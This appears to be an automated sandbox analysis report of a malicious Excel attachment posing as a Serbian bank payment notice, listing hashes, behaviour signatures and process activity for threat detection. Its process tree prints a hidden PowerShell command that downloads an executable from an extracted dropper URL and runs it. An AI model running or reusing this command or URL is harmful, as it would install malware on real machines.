Analysis

  • max time kernel
    127s
  • max time network
    115s
  • platform
    windows7_x64
  • resource
    win7-20221111-en
  • resource tags

    arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
  • submitted
    25-11-2022 16:58

General

  • Target

    Obavestenje o prilivu za 16000501003826304627.xls

  • Size

    128KB

  • MD5

    cadc7a1ce95a518b28bc427259034546

  • SHA1

    5f362f13ceb06e1b8e088bbaa5fba367a6bff837

  • SHA256

    51d7e9d83ee47fde362716e9c50252dff4ea3891a2cf89e4be84d1551d104688

  • SHA512

    16db805befc401a2aa5883aedfff24d9785c9df31f535221779a5d6090a22ada96025739c42ccb6ed0208b8c43015db6996dba688d95fc8b461988b2c92a6e3e

  • SSDEEP

    3072:msk3hbdlylKsgqopeJBWhZFGkE+cL2NdAnROAPDU0wERoB1HBCzEY/G0aDYKtOKW:zk3hbdlylKsgqopeJBWhZFVE+W2NdARX

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.voievodulgelu.ro/owncloud/index.php/s/sX8sarn7G0Cmusz/download

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\Obavestenje o prilivu za 16000501003826304627.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1956
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile('https://www.voievodulgelu.ro/owncloud/index.php/s/sX8sarn7G0Cmusz/download','Word51990.exe');Start-Process 'Word51990.exe'
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:896

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/896-66-0x0000000000000000-mapping.dmp

  • memory/896-71-0x000000006C880000-0x000000006CE2B000-memory.dmp

    Filesize

    5.7MB

  • memory/896-70-0x0000000006140000-0x0000000006BFA000-memory.dmp

    Filesize

    10.7MB

  • memory/896-69-0x000000006C880000-0x000000006CE2B000-memory.dmp

    Filesize

    5.7MB

  • memory/896-68-0x000000006C880000-0x000000006CE2B000-memory.dmp

    Filesize

    5.7MB

  • memory/1956-58-0x0000000075DA1000-0x0000000075DA3000-memory.dmp

    Filesize

    8KB

  • memory/1956-60-0x0000000000910000-0x000000000091B000-memory.dmp

    Filesize

    44KB

  • memory/1956-61-0x0000000000910000-0x000000000091B000-memory.dmp

    Filesize

    44KB

  • memory/1956-62-0x0000000000910000-0x000000000091B000-memory.dmp

    Filesize

    44KB

  • memory/1956-64-0x0000000000910000-0x000000000091B000-memory.dmp

    Filesize

    44KB

  • memory/1956-59-0x0000000072C6D000-0x0000000072C78000-memory.dmp

    Filesize

    44KB

  • memory/1956-54-0x000000002F0F1000-0x000000002F0F4000-memory.dmp

    Filesize

    12KB

  • memory/1956-57-0x0000000072C6D000-0x0000000072C78000-memory.dmp

    Filesize

    44KB

  • memory/1956-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1956-55-0x0000000071C81000-0x0000000071C83000-memory.dmp

    Filesize

    8KB

  • memory/1956-72-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/1956-73-0x0000000072C6D000-0x0000000072C78000-memory.dmp

    Filesize

    44KB